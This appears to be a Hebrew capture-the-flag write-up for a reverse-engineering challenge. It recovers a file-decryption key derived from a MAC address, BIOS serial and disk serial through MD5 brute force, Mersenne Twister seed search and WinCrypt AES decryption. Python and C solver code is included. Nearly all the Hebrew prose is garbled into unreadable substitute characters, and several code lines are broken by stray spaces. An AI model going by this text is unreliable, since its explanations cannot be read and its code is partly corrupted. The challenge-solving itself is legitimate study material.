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:ˢ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˪˰ ˫ˠ ˪˩˸˯ˮˣ 

 

ˢ ˸˞ ˢ˶˧ˤ˥ˬˣ ˢ˴˶ˢ˪ ˢˡˣ˵˲ ˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ ˢ˞˶ˮˢ ˪˩˩˷ ˭˧˟ˢ˪ ˭˸˧ˮ ˢ˶˧ˢˬ ˸ˣ˪˩˸˯ˢ˟-output  ˪˷

ˡ˩ .ˢˡˣ˵˲ˢˣˬ˩ ˢ˧˴ˮ˵ˣ˲˟ ˫˧ˠˮ˧˶˦˯ ˡˣ˰ ˪˰ ˪˩˸˯ˢ˪ ˫ˠ ˶˷˲˞ ˣˮ˪˷ ˢˮ˰˦ˢ ˸˞ ˵ˤ˥˪ ˧ 

command_result.txt. 

 

˸ˣ˧˴˵ˮˣ˲ ˸ˣ˶˩ˣ 

:ˢ˞˟ˢ ˢ˧˴ˮ˵ˣ˲ˢ ˪˰ ˪˩˸˯ˮ 

 ˸ˣ˞˧˶˵ˢ ˪˰ ˸ˣ˪˩˸˯ˢ ˧"˰ ˵˶ ˢ˷ˣ˰ ˞˧ˢ ˢˬ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ ˶˷˲˞ ˪˟˞ ,ˢ˷ˣ˰ ˞˧ˢ ˢˬ ˠ˷ˣˬ ˣˮ˪ ˭˧˞

WinAPI.
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 ˞˧ˢ ˢ˲ ˸ˣ˞˶˪ ˶˷˲˞˷ ˸˧ˤ˩˶ˬ ˢ˧˴˵ˮˣ˲GetAdaptersInfo˟ ˢ˸ˣ˞ ˷˲˥ˮ ,-MSDN: 

 

ˢ ˪˰ ˰ˡ˧ˬ ˢ˶˧ˤ˥ˬ ˢ˧˴ˮ˵ˣ˲ˢ-Adapters  ˣ˞Network Interfaces  ˸ˣ˞˶˪ ˶˷˲˞ ,˱˯ˣˮ˟ .˟˷˥ˬ˟ ˷˧˷

 ˢˡ˷˪ ˢ˷˧ˠ ˷˧ ˭˩ˬ ˶˥˞˪˷Address  ˷˧˷ ˞ˣˢ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˱˯ˣˮ ˶˟ˡ .ˢ˧˴˵ˮˣ˲ˢˬ ˶ˤ˥ˣˬ˷ ˦˵˧˧˟ˣ˞ ˪˷

˵˧˯ˢ˪ ˭˸˧ˮ ˢˤ ˪˩ˬ .ˡ˴˟ ˶˲˞˟˪ ˫˧˸˟ ˢ˷˧˷ ˪˷ ˢ˵˸˰ˢ ˢ ˸˞ ˸˥˵ˣ˪ ˢ˧˴ˮ˵ˣ˲ˢ ˢ˞˶ˮ˩˷-Mac 

Address ˢ ˡ˥˞ ˪˷-Network Adapters  .˟˷˥ˬ˟ ˣˮ˪ ˷˧˷ 

.ˢ˪˵ˣ ˢ˶˧ˢˬ ˢ˶ˣ˴˟ ˢ˷ˣ˰ ˢ˧˴˵ˮˣ˲ˢ ˢˬ ˣˮ˟ˢˣ ˳ˬ˞ˬ ˫ˣˬ˧ˮ˧ˬ ˣˮ˧˷˰ 

˟ ˣ˪˷ ˯˶˟˧˶ˣ ˧˶˞ˮ˧˟ˢ ˪˰ ˢ˟˶ ˸ˣ˪˩˸˯ˢ ˧˶˥˞ ˤ˞-IDA :ˢ˶ˣ˵˷ ˞˟ˢ ˫˸˧˶ˣˠ˪˞˪ ˣˮ˰ˠˢ 

1.  ˫˧˶˴˧˧ˬ32  ˪˷ ˫˧˸˟MD5  ˫˷ ˪˷ ˫˧˩˶˰ˢ ˪˰ˢˣ ˳˟ˣ˵ˢ-Mac .ˢˮ˩ˣ˸ˢ ˢ˴˶ ˣ˧˪˰ ˟˷˥ˬˢ ˪˷  ˭ˣˣ˧˩ˬ

-˷MD5  ˞ˣˢ16  ˨˶˰ˢ :ˢ˞˟ˢ ˢ˶ˣ˴˟ ˫˧˸˟ ˧ˮ˷˪ ˸˧˟ ˪˩ ˫˧˟˧˥˶ˬ ,˫˧˸˟0xAB  ˨˶˰˪ ˨˲ˣˢ0x0A 

0x0B .˭ˣ˶˩˧ˤ˟ 

2.  ˫˸˧˶ˣˠ˪˞ ˫˰ ˳˟ˣ˵ˢ ˪˩ ˸˞ ˫˧ˮ˧˲˴ˬ ,˭˩ˬ ˶˥˞˪AES256ˬ ˳˶ˮˣˠˬ ˣ˪˷ ˥˸˲ˬˢ ˶˷˞˩ ,-MD5 ˢ ˪˰-

6 ˢ ˪˷ ˫˧˸˟-MAC ˴˶ ˣ˧˪˰ ˟˷˥ˬˢ ˪˷ ,ˢˮ˩ˣ˸ˢ ˢ4 ˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷ ˫˧˸˟ˢ-bios  ˤ˞ˣ4  ˫˧˸˟

 ˪˷ ˫˧˵ˣ˪˟˟ ˫˧ˮ˧˲˴ˬ ˳˟ˣ˵ˢ ˸˞ .˟˷˥ˬˢ ˪˷ ˥˧˷˵ˢ ˵˯˧ˡˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷16 ˫˰˲ ˪˩ ˫˧˸˟: 

 

3. ˫˧˥˵ˣ˪ ˸˞ 4 ˫˧˸˟ˢ ˫˧ˮˣ˷˞˶ˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷ ˵˯˧ˡˢ ˥˧˷˵ˢ ˫˧˶ˬˣ˷ˣ ˣ˸ˣ˞ ˶˥˞˪ ˨˩: 
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4. ˣ˪˸˩) ˸ˮ˲˴ˣˬˢ ˰ˡ˧ˬˢ ˸ˣˬ˩ ˪ˡˣˠ˟ ˶˲˞˟ ˫˧˴˵˪˞ˬ + (˭˧˲˴ˢ˪ ˫˧˴ˣ˶˷ ˳˟ˣ˵ˢ ˪ˡˣˠ˟ ˸ 

2992 ˫˧˸˟: 

 

5.  ˨˶˰ˢ ˶ˬ˷ˮ ,˭˲˴ˣˬˢ ˳˟ˣ˵ˢ ˷˞˶˟0x531B008A: 

 

6.  ˢ˴˶ ˢ˧˪˰˷ ˢˮˣ˩ˬˢ ˪˷ ˯ˣ˧˟ˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ ˸˰˟˶˞ ˸˞ ˫˧˥˵ˣ˪ ,˭˩ˬ ˶˥˞˪

˩ ˫ˢ˟ ˫˧˷ˬ˸˷ˬˣ ,ˢˮ˩ˣ˸ˢ-Seed  ˫˸˧˶ˣˠ˪˞˪mtwister ˫ˡˣ˵ˬ ˶˩ˤˣˢ˷: 

 

7. ˧˸˰ˬ ,ˢˤ ˸˞ ˫˧˷ˣ˰˷ ˧˶˥˞ ˸˞ ˫˧˵32 ˢ ˪˷ ˫˧˸˟ˢ-MD5  ˸˰˟˶˞ ˶˥˞˪ ,˭ˣ˷˞˶ˢ ˟˪˷˟ ˣˮ˶˴˧˧˷

 ˟˪˷˟) ˢ˪˥˸ˢ˟ ˣˮˬ˷˷ ˫˧˸˟ˢ5(: 

 

8.  ˢˤ ˣˮ˪˷ ˢ˶˵ˬ˟) ˭˲˴ˣˬˢ ˰ˡ˧ˬˢ ˪ˡˣˠ ˸˞ ˫˧˥˵ˣ˪ :˞˟ˢ ˭˧˧ˮ˰ˬˢ ˶˟ˡˢ ˢˤ ˭˞˩ˬ ˢ˶ˣ˵˷ ˢˬ38924-

2992  ˢ˞˴ˣ˸ˢˣ- 35932ˢ ˪ˡˣˠ˟ ˣ˸ˣ˞ ˫˧˵˪˥ˬ ,(-chunk  ,ˣˮ˪˷ ˢ˶˵ˬ˟)739 ˸˞ ˫˧˯˧ˮ˩ˬ ˤ˞ˣ (

ˬˢˢˬ ˳˶ˮˣˠˬˢ ˶˲˯-twister  ˢ˲ ˢ˶˵ˬ˟) ˣˤˢ ˫˧˸˟ˢ ˸ˣˬ˩ ˶˥˞˪49 ˸˞ ˫˧ˡ˧˶ˣˬ ,˭˩ˬ ˶˥˞˪ ,(

˟ ˨˶˰ˢ-1˰ˡ˧ˬˢ ˱ˣ˯ ˡ˰ ˢ˪˧˪˥ ˫˧˶ˤˣ˥ ˤ˞ˣ ,: 
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9. ˢ ˪˩ ˸˞ ˞˪ˬ˪ ˫˧ˬ˧˧˯ˬ˷ ˧˶˥˞-Buffer .˭˲˴ˣˬˢ  ˣ˧˪˰ ˫˧˷ˣ˰XOR  ˫˧˸˟ˢ ˸˰˟˶˞ ˪˷ ˨˶˰ˢ ˫˰

 ˟˪˷˟ ˡ˴˟ ˣˮ˶ˬ˷˷ ˵˯˧ˡˢ ˪˷ ˧˪˞˧˶˧˯ˢˬ3: 

 

10. ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ˢ ˸˞ ˫˧˶ˬˣ˷ ,-Buffer .˳˟ˣ˵˪ ˣ˪ˣ˩ ˭˲˴ˣˬˢ 

.˰ˡ˧ˬˢ ˭˲˴ˣˢ ˣ˸˧˞˷ ˥˸˲ˬˢ ˸˞ ˸˰ˡ˪ ˫˧˩˧˶˴ ˭˟ˣˬ˩ ˣˮ˥ˮ˞ ˰ˡ˧ˬˢ ˸˞ ˥ˮ˰˲˪ ˧ˡ˩  ˥˸˲ˬˢ˷ ˣˮ˟ˢ

 :ˬ ˟˩˶ˣˬ6 ˢ ˪˷ ˫˧˸˟-MAC  ,ˢˮ˩ˣ˸ˢ ˢ˴˶ ˣ˧˪˰ ˟˷˥ˬˢ ˪˷4 ˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷ ˫˧˸˟ˢ-bios  ˤ˞ˣ4 

 .˟˷˥ˬˢ ˪˷ ˥˧˷˵ˢ ˵˯˧ˡˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˪˷ ˫˧˸˟ 

MAC 

 :ˢ˞˟ˢ ˢ˶˟˥ˢ ˢˬˣ˷˶ ˢ˸˧˧ˢ ˟˷˥ˬˢ ˪˷ ˶ˠ˸˞ˢ ˸˪˧˥˸˟ ˤˬ˶ ˣˮ˪ ˭˸˧ˮhǊΧ tƻΧ [¢5 . ˶˟ˣˡˬ˷ ˣˮ˥ˮˢ

 ˸ˣ˟ˣ˸˩ ˸ˣ˵˧˲ˮˬˣ ˸˷˶ ˧˯˧˦˶˩ ˸ˣ˶˴˧˧ˬ˷ ˸ˣ˶˟˥ˢ ˸ˬ˧˷˶ ˸˞ ˣˮ˲˪˷ .˸˷˶ ˧˯˧˦˶˩ ˸˶˴˧˧ˬ˷ ˢ˶˟˥˟

MAC ˸˟ˣ˸˩ ˣ˪ ˢ˞˧˟ˬˣ ˸˷˶ ˯˧˦˶˩ ˸˶˴˧˧ˬ˷ ˢ˶˟˥ ˪˩˪ .MAC ˢ ˸˟ˣ˸˩˟ ˫˧˧ˡˣ˥˧˧ ˫˧˸˟ ˢ˷ˣ˪˷ ˷˧-

MAC . 

 ˢ˶˟˥˪ ,ˢˬˠˣˡ˪TP-LINK  ˫˧˸˟ˢ ˸˞ ˷˧081F71  ˸˟ˣ˸˩ ˪˩ ˸˪˧˥˸˟MAC.  :ˢ˞˟ˢ ˢˬ˧˷˶˟ ˣˮ˶ˤ˰ˮ 

https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4 

 ˸˶ˤ˰˟Regex ˰ ˸ˬ˞˸ˬ˷ ˦ˣ˷˲ :ˢ˞˟ˢ ˢ˶˟˥˪ ˣˮ˰ˠˢ ˣˮ˪ ˣˮ˸ˮ˷ ˢ˶˟˥ˢ ˫˷ ˪Orient Power Home 

Network Ltd˟ ˢ˪˷ ˫˧˸˟ˢ ˸˷ˣ˪˷ .-MAC  ˫ˢ001337.˧˯˞˪˵ , 

-sRegex :ˢ˧ˢ 

. * Or. * [ ]. * Po. * LTD.  

.ˢ˪˰ˬ˪˷ ˸˥˞ˢ ˢ˸˧˧ˢ ˢ˶˧˟˯ ˧˩ˢ ˢ˞˴ˣ˸ˢˣ 

˩ ˶ˣˬ˷ ˨˶˰ˢ˷ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˭ˣˣ˧˩ˬ-MD5 " ˣˮ˧˷˰ ˦ˣ˷˲ˣ ˣ˸ˣ˞ ˣˮ˥˵˪ ,˳˟ˣ˵ˢ ˸˪˧˥˸˟Bruteforce ˪˰ "

ˢ ˪˷ ˨˶˰ˢ-MD5 :˞˟ˢ ˦˲˧˶˵˯ˢ ˫˰ 

import  hashlib  

 

wanted_md5  = '0949b46b73e3af6f5afc81955367295c'  

 

for  i  in  xrange(0x100):  

    for  j  in  xrange(0x100):  

        for  x  in  xrange(0x100):  

            if  hashlib.md5('intel.txt' + ' \ x00 \ x13 \ x37' + chr(i)  + chr(j) + 

chr(x)).hexdigest() == wanted_md5:  

                print  hex(i), hex(j), hex(x)  

https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4
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:˦˲˧˶˵˯ˢ ˪˷ ˢ˞˴ˣ˸ˢˣ 

 

Hard Drive Serial 

) ˶˯˵ˬ ˫˸˧˶ˣˠ˪˞ˢ ˢˮ˲˴ˢˢ ˱ˣ˯˟ ,ˣˮ˧˧˴˷ ˧˲˩XORˢ ˞ˣˢ ˥˸˲ˬˢ .˫˧ˣ˯ˬ ˥˸˲ˬ ˫˰ ˰ˡ˧ˬˢ ˪˩ ˸˞ (-4 

ˢ ˪˷ ˧˪˞˶˧˯ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟-Hard Driveˢ˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ .-4 ˭˲˴ˣˬˢ ˳˟ˣ˵ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ 

 :˫˧˰ˣ˟˵ ˫ˢ0x531B008A ˸˪ˣ˰˲ ˞ˣˢ ˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˢˬ ˪˩ ˭˩˪ˣ ,XOR ˢ ˭˧˟˪ ˰ˣ˟˵ˢ ˭˧˟-4 

˧˪˞˧˶˯ˢ ˸˞ ˪˟˵ˮˣ ˭˲˴ˣˬˢ ˳˟ˣ˵˟ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟: 

0x531B008A  ^ 0x632B30BA = 0x30303030  

" ˠˮ˧˶˦˯˩ ˣ˞0000˷ ˢ˪˥˸ˢ ˣˬ˩ ˢ˞˶ˮ ," ˧˪˞˧˶˧˯ ˪J 

Bios Serial 

 ˷ˣˬ˧˷˪ ˶˟˰ˬ ˣ˪ ˫˧˞ˣ˶ ˣˮ˞˷ ˡ˧˥˧ˢ ˷ˣˬ˧˷ˢ ,˯ˣ˧˟ˢ ˪˷ ˧˪˞˧˶˧˯ˢ ˢˬ ˭˧˟ˢ˪ ˞ˣˢ ˶˸ˣˮ˷ ˭ˣ˶˥˞ˢ ˶˟ˡˢ

ˢ ˪˷ ˥˸˲ˬ˟-AES ˢ ˫˸˧˶ˣˠ˪˞˟ ˷ˣˬ˧˷ ˞ˣˢ-mtwister˟ ˣ˪˷ ˷ˣˬ˧ˬˢ ˸˞ ˣˮ˞˴ˬ˷ ˪˪ˠ˟ .-Github  ˢ˧ˢ

:˞˟ˢ ˭ˣˮˠ˯˟ ˣˢ˷ˬ ˢ˷ˣ˰˷ ˡˣ˵ ˪˲ˬ˵˪ ˪˵ ˣˮ˪ 

1. ˭˧ˤˬ ˸˞ s-Seed ˰˟˨˶ 

2. ˟˷˥ˬ ˶˲˯ˬ ˧˪ˬˣˡˮ˶ 

3. ˢˣˣ˷ˬ ˣ˸ˣ˞ ˶˲˯ˬ˪ ˧˪ˬˣˡˮ˶ˢ ˭ˣ˷˞˶ˢ ˳˟ˣ˵˟ 

:˨˩ ˢ˞˶ˮ˷ ˡˣ˵ ˣˮ˟˸˩ 

#include  <stdio.h > 

#include  "mtwister/mtwister.h"  

 

int  wanted_random = 0x308b55ce ^ 0x30303030;  

 

int  main()  

{  

        for  (int i = 0; i <= 0xFFFFFFFF; i ++) {  

                MTRand rand = seedRand(i);  

                if  (genRandLong(&rand) == wanted_random)  {  

                        printf( "Success! Seed is %x \ r \ n", i);  

                }  

        }  

        return  0;  

}  

ˤ ˢ˟˶ˢ ˸˧˯˥˧ ˣˮ˪ ˥˵˪ .ˡˣ˞ˬ ˧˦˧˞ ˡˣ˵ˢ ,ˢ˞˟ˢ ˢ˧˰˟ˢ ˸˞ ˣˮ˧˪˧ˠ ˤ˞ˣ ˣˮ˟˸˩ ˫˧˧˸ˮ˧˟ ˭˩˪ˣ ˭ˬ

 ˠˮ˧˶˦˯ ˞ˣˢ ˧˪˞˧˶˧˯ˢ˷ ˢ˥ˮˢ ˣˮ˥˵˪ .ˢ˪˰ˬ˪ˬ ˡˣ˵˪ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ASCII  ˪ˡˣˠ˟4  ˫˧˴ˣ˶ ˣˮ˞ ˭˩˪ˣ ,˫˧˸˟

 ˵ˣˡ˟˪ˣ ˸˥˵˪Seed  ˧ˣˣ˸ ˭˩˞ ˫ˢ ˫˧˸˟ˢ ˸˰˟˶˞ˣ ˢˡ˧ˬ˟ ˵˶ASCII .˫˧˯˧˲ˡ 
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:˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˶˥˞˪ ˡˣ˵ˢ ˢ˞˶ˮ ˨˩ 

#include  <stdio.h > 

#include  "mtwister/mtwi ster.h"  

 

int  wanted_random = 0x308b55ce ^ 0x30303030;  

 

int  main()  

{  

        int  skip = 0;  

        for  (int i = 0x30303030; i < 0x7b7b7b7b; i ++) {  

                skip  = 0;  

                char  * num = (char * )&i;  

                for  (int j = 0; j < 4; ++j) {  

                        if  (num[j] < 0x30 ||  num[j]  >= 0x7b) {  

                                skip  = 1;  

                                break ;  

                        }  

                }  

                if  (skip) {  

                        continue ;  

                }  

 

                MTRand rand = seedRand(i);  

                if  (genRandLong(&rand) == wanted_random)  {  

                        printf( "Success! Seed is %x \ r \ n", i);  

                }  

        }  

        return  0;  

}  

ˡˣ˰ ˦˶˲ ˟ˣ˷˥ ˶˟˰ˬ˷ ˟ˣ˸˩˷˪ ˲ˢˣˣ˸˩˧ ˶˧ˢˬ˪ ˶˸ˣ˧ ,ˣˮˠ˞ˡ ˪˲ˬ˵˪ ˣ˸ˣ˞ ˫˰ ˢ˶ˣ˷ˢ ˢ˞˟ˢ )ˣˬ˧˷ ˟˪ 

˪ˠˡ˪ O3 ˠ˞ˣˡ˷ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞˪ ˸ˣ˵ˤ˥ˢ ˶˸ˣ˧˟:( 

gcc  bruteforce.c mtwister/mtwister.c - o brute - m32 - O3 

ˢˮˢˣ ˢ˞˴ˣ˸ˢ: 

 

" ˠˮ˧˶˦˯˩ ˣ˞VMwa˧˪˞˧˶˧˯ ˪˷ ˢ˪˥˸ˢ ˣˬ˩ ˢ˞˶ˮ ˢˤ ˫ˠ ," 

˧˷˩˰ˣ ,˫˧˩˧˶˴ ˣˮ˧˧ˢ˷ ˢˬ ˪˩ ˸˞ ˣˮ˲˯˞ ˸ˣ˷˰˪ ˵˶ ˶˞˷ˮ ˣDecrypt ˳˟ˣ˵˪!  ˷ˬ˸˷ˢ˪ ˣˮ˧˯˧ˮ ˢ˪˥˸ˢ˟

" ˸˞˶˵ˮ˷ ˭ˣ˸˧˧˲ ˸˧˧˶˲˯˟wincrypto ˸˞ ˟ˣ˸˩˪ ˦ˣ˷˲ˣ ˢ˧˪˰ ˶˸ˣˣ˪ ˣˮ˦˪˥ˢ ˸ˣ˧˰˟ ˶ˣ˲˯ ˭˧˞ ˧˶˥˞ ˪˟˞ "

˟ ˞˟ˢ ˡˣ˵ˢ-C: 

#pragma  comment(lib, "crypt32.lib")  

#include  <Windows.h > 

#include  <Wincrypt.h > 

#include  <stdio.h > 

#include  <malloc.h > 

 

unsigned  char intel_txt_enc[] = {...}  

unsigned  int intel_txt_enc_len = 38924;  

 

int  main(void)  

{  
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    HCRYPTPROV phProv = 0;  

    HCRYPTHASH hHash;  

    char  * key = " \ x00 \ x13 \ x37 \ x8e \ xab \ x66" "VMwa" "0000";  

    HCRYPTKEY hKey;  

    char  new_buffer[0x10] = { 0 };  

    DWORD len = 0x10;  

 

    for  (unsigned int i = 0; i < intel_txt_enc_len; i ++) {  

        intel_txt_enc[i]  = intel_txt_enc[i] ^ 0x30;  

    }  

 

    CryptAcquireContextW(&phProv,  L"DataSafeCryptContainer", 0, 0x18, 0x50);  

    CryptAcquir eContextW(&phProv,  L"DataSafeCryptContainer", 0, 0x18, 0x48);  

    CryptCreateHash(phProv,  0x8003, 0, 0, &hHash);  

    CryptHashData(hHash,  key, 0xE, 0);  

    CryptDeriveKey(phProv,  0x6610, hHash, 0, &hKey);  

 

    int  counter = 0;  

    int  bytes_until_next_rand om = 49;  

    int  current_next_random_jump = 49;  

    for  (int i = 0x28; i < 0x2e3 + 0x28; i ++) {  

 

        new_buffer[counter ++] = intel_txt_enc[i];  

        bytes_until_next_random -- ;  

 

        if  (bytes_until_next_random == 0)  {  

            current_next_rand om_jump-- ;  

            bytes_until_next_random  = current_next_random_jump;  

            i  += 4;  

        }  

        if  (counter == 16)  {  

            CryptDecrypt(hKey,  0, 0, 0, new_buffer, &len);  

            len  = 0x10;  

            printf( "%.16s", new_buffer) ;  

            counter  = 0;  

        }  

    }  

     

    scanf_s( "a");  

    return  0;  

}  

ˢ ˸˞ ˟ˣ˸˩˪ ˣˮ˪˴˰˸ˢ˷ ˭˧˧˴˪ ˷˧-Readfile  ˸˶ˤ˰˟ ˣ˸ˣ˞ ˣˮ˵˸˰ˢ ˦ˣ˷˲ ˭˩˪ˣ ˪˰ˣ˲˟ ˳˟ˣ˵ˢ ˸˞ ˞˶ˣ˵˷Hex 

Editor ˟ ˫˧˸˟ ˨˶˰ˬ˩ ˣ˸ˣ˞ ˣˮ˵˟ˡˢˣ ˫˧ˣ˯ˬ-C. 

:ˢ˞˴ˣ˸ˢ ˢˮˢˣ 
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:˞˟ˢ ˶˟ˡ˪ ˢ˪˧˟ˣˬ ˵ˮ˧˪ˢ ˪˰ ˢ˴˧˥˪ 

 

!˶ˠ˸˞ˢ ˸˞ ˣˮˬ˧˧˯˷ ˢ˞˶ˮ J 

 

˶ˠ˸˞ˢˬ ˸ˣˮ˵˯ˬˣ ˫ˣ˩˧˯ ˸ˣ˪˧ˬ 

ˢˮˣ˷ ˢ˧ˢ ˢˮ˷ˢ ˶ˠ˸˞ˢ .˸ˣˬˡˣ˵ ˫˧ˮ˷˟ ˶ˠ˸˞ˢˬ ˡˣ˞ˬ  ˸˧˸ˣ˰ˬ˷ˬ ˢ˷˵ ˢ˧ˢ ˞ˣˢ˷ ˢˡ˟ˣ˰ˢˬ ˪˧˥˸ˮ

 ˶˸ˣ˧ ˢˢˣ˟ˠ ˸˧˸ˣ˰ˬ˷ˬ ˢ˸˧˧ˢ ˟˪˷ ˪˩ ˶ˣ˸˲˪ ˣˮ˪ ˥˵˪˷ ˭ˬˤˢ ˸ˣˬ˩ ,˨˩ˬ ˢ˞˴ˣ˸˩ .˸ˣˬˡˣ˵ ˫˧ˮ˷ˬ

.˸ˣˬˡˣ˵ ˫˧ˮ˷ˬ 

 ˢˮ˟ˢ˟ ˨˶ˣ˴ˢˣ ˢ˧˴˵˧˪˲˞ˢ ˫˰ ˟ˣ˪˧˷ˢ ˸˞ ˣˮ˟ˢ˞ ,˫˧˟˪˷ˢ ˪˩ˬ ˭ˣˣˠˬ ˧˩ˢ ˢ˧ˢ ˭ˣ˷˞˶ˢ ˟˪˷ˢ ,ˣˮ˸˰ˡ˪

˫˧ˬ˰˲˪˷  ˨ˣ˸˪ ˶˷˧ ˣ˸ˣ˞ "˵ˣ˶ˤ˪"ˣ ˧˶˞ˮ˧˟ˣ ˧˶˞ˮ˧˟ ˪˩ ˪˷ ˢ˞˪ˬ ˢˮ˟ˢ˪ ˳ˣ˲˵˪ ˶˷˧ ˨˧˶˴ ˞˪IDA ,˱˯ˣˮ˟ .

˟ ˷ˣˬ˧˷ˢ ˪˷ ˭ˣ˧˰˶ˢ ˸˞ ˣˮ˟ˢ˞-Github  ˢˣˣ˷ .˥˸˧˲ ˧˷˧˪˷ ˡ˴˷ ˢˮ˩ˣ˸ ˪˷ ˶ˣ˵ˬ ˡˣ˵ ˣ˟ ˞ˣ˴ˬ˪ ˫ˣ˵ˬ˩

ˢ ˸ˣ˰˷ ˢˬ˩ ˶˥˞˪˷ ˭˧˧˴˪-Repository ˟ ˣ˞˴ˬˮˣ ˰˧˲ˣˢ˪ ˵˧˯˲ˢ-Github ˧˶˸ˣ˲ ˪˷ ˸ˣ˟ˣ˷˸ ˵˶ ˣ˰˧ˠˢ˷ ˫

-˪Repository. 

ˢ ˧˵˥˷ˬ ˪˷ ˵˪˥ˢ ˢ˧ˢ ˟˪˷ˢ ˟ˣ˶ .˯˲˯ˣ˲ˬ ˸˴˵ ˣˮ˪ ˷˧ˠ˶ˢ ˧ˮ˷ˢ ˟˪˷ˢ-Certificate- ˣˮ˟˷˥ ˣˮ˥ˮ˞ .˫˧

 ˟˪˷ˢ ˟ˣ˶ ,˪˟˞ ,ˣ˸ˣ˞ ˶ˣ˸˲˪ ˦ˣ˷˲ ˶˸ˣ˧ ˣˮ˪ ˢ˧ˢ ˸ˣ˷˰˪ ˣ˯˧ˮ ˢˬ ˣˮ˟ˢ˷ ˧˶˥˞ˣ ,˟˧ˮˠˬ ˢ˧ˢ ˭ˣ˧˰˶ˢ˷

 ˪˰ ˯˯˟˸ˢFlag-˟ ˫˧˧˲˧˴˲˯ ˞˶ˣˮ ˫˧ˠˣ˲ˮ˧˵ˣ ˫˧-OpenSSL˥ˮ˞ , ˦ˣ˷˲ˣ ˶˸ˣˣ˪ ˣˮ˦˪˥ˢ ˫˧˧ˣ˯ˬ ˟˪˷˟ ˣˮ

˟ ˷ˬ˸˷ˢ˪-GUI .˸ˣ˧˰˟ˢ ˟ˣ˶ ˸˞ ˣˮ˪ ˶˸˲˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷  ˷˧ˠ˶ˢ ˟˪˷ˢ ˪˷ ˧ˮ˷ˢ ˵˪˥ˢ ,˱˯ˣˮ˟

 ˸˥˵˪ ˣˮ˪ ˫˶ˠ ˭ˣ˶ˠ˸˞ "˧ˮ˧ˬ" ˡˣ˰ ˷˧ ˣ˧˶˥˞˷ ˸ˣ˪ˠ˪ˣ ˡˣ˞ˬ ˥ˣ˷˵ ˢ˧ˢ ˟˪˷˟ ˭ˣ˷˞˶ˢ ˵˪˥ˢ ,ˢˢˣˬ˸ ˸˴˵

.˶˧ˣˣ˞ ˱ˣ˞˷˪ˣ ˸ˣ˵ˡ ˢˬ˩ ˪˷ ˢ˵˯˲ˢ 
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 ˞˧ˢ ˧˷˧˪˷ˢ ˟˪˷ˢ ˡˣ˞ˬ ˫˧˦˲˯ˮˣ˵ ˢˬ˩ ˣ˟ ˣ˧ˢ˷ ˣˮ˟˷˥ˣ ˣ˟ ˠˮ˧˯˶˟˧˶ˢ ˸˞ ˸ˣ˷˰˪ ˣˮ˧ˮˢˮ ˡˣ˞ˬ .˟˧ˮˠˬ ˧ˡ

˟ ˣ˪˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˰ ˫˧˪˩˸˯ˬ˷˩ ˡ˧˥˲ˬ ˡˣ˞ˬ ˢ˞˶ˮ˷) ˫ˣˡˮ˶ ˫˸˧˶ˣˠ˪˞ ˸˥˵˪ ˪˷ ˭ˣ˧˰˶ˢ .˫˧˟˧ˮˠˬ-

IDA ˫˧˶˲˯ˬ ˫˸ˣ˞ ˸˞ ˶˧ˤ˥ˬ ˫˧ˮˣ˷ ˫˧˟˷˥ˬ ˪˰ ˣ˸ˣ˞ ˫˧˴˧˶ˬ ˫˞ ˫ˠ˷ ˧˦˦˯ ˫˸˧˶ˣˠ˪˞ ˞ˣˢ˷ ˭˧˟ˢ˪ˣ (

˭˸ˮ˧ˢ˟  ˣ˸ˣ˞SEED  ˟˧ˮˠˬ ˢ˧ˢ˷ ˸ˣ˦˧˷ˣ ˸ˣ˵˧ˮ˩˦ ˢˬ˩ ˷˶ˡ ˣˬ˴˰ ˠˮ˧˯˶˟˧˶ˢ ,˱˯ˣˮ˟ .˟ˣ˦ ˦˲˯ˮˣ˵ ˞ˣˢ

.(ˢ˪˰ˬ˪ ˣ˶˟˯ˣˢ˷ ˣ˪˞ ˪˩) ˣ˧ˡ˥˧ ˭˪ˣ˩˟ ˷ˬ˸˷ˢ˪ 

.ˢ˞˟ˢ ˢˮ˷˟ ˪ˣ˪˩˧ ˞ˣˢ ˢˬ ˸ˣ˞˶˪ ˫˧˲˴ˬ ˣˮ˞ˣ ,˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˣˮ˧ˮˢˮ ,˫ˣ˩˧˯˪ 

ˣ˸˲˪ ˣˮ˧ˮˢˮ ˣˮ˞˷ ˧˲˩ ˸ˣ˥˲˪ ˶ˬ˞ˬˢ ˸˞˧˶˵ˬ ˫˸˧ˮˢˮ˷ ˫˧ˣˣ˵ˬ ˣˮ˞ˢ ˸˞ ˟ˣ˸˩˪ˣ ˶ˠ˸˞ˢ ˸˞ ˶-Writeup 

 ˢˤˢJ 

 

.˫˩˧ˮ˲˪˷ ˭ˣ˶˸˲ˢ ˸˟˧˸˩˟ ˢ˩˧ˬ˸ ˪˰ˣ ˣˤˢ ˢ˞˪˲ˮˢ ˢ˪˧ˢ˵ˢ ˸ˬ˵ˢ ˪˰ ,˪˞˧˦˯˵ ˵˧˲˞˪ ˸˧˵ˮ˰ ˢˡˣ˸ 
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Promiscuous Mode Detection 

 ˸˞ˬˢ˧ˮ˟ 

 

ˢˬˡ˵ˢ 

